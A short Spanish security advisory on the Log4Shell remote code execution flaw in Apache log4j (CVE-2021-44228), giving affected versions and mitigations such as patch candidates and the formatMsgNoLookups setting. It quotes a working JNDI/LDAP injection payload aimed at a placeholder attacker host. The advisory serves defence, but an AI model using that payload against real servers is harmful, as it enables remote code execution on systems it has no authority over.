RCE en la librería log4j de Java (CVE-2021-44228)
ANÁLISIS
CVE-2021-44228
La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload ${jndi:ldap://attacker.com/a} (donde attacker.comes un servidor controlado por el atacante). De esta forma, log4j realiza una petición al servidor mediante Java Naming and Directory Interface (JNDI) obteniendo como respuesta la ruta a un archivo de clase Java remoto. Este payload permitirá que un atacante ejecute código arbitrario [1].
Productos afectados:
2.0 <= Apache log4j <= 2.14.1
Actualmente la vulnerabilidad no tiene una puntuación CVSS v3 oficial. Sin embargo, debido a su gravedad, en muchas publicaciones ha sido considerada como crítica [2].
En la página de LunaSec [1] podemos encontrar un ejemplo de explotación de esta vulnerabilidad, así mismo, el proyecto marshalsec [5] ofrece una herramienta para poder crear payloads, que podría ser utilizada en esta vulnerabilidad.
RECOMENDACIONES
Actualmente no existe una versión estable disponible. No obstante, hay dos parches candidatos publicados como log4j-2.15.0-rc1 y log4j-2.15.0-rc2 disponibles en el GitHub de Apache [3], los cuáles se recomienda su instalación. Además, para versiones superiores a la 2.10.0 se añadió la propiedad "formatMsgNoLookups" cuya configuración a "true" puede mitigar la vulnerabilidad temporalmente [4].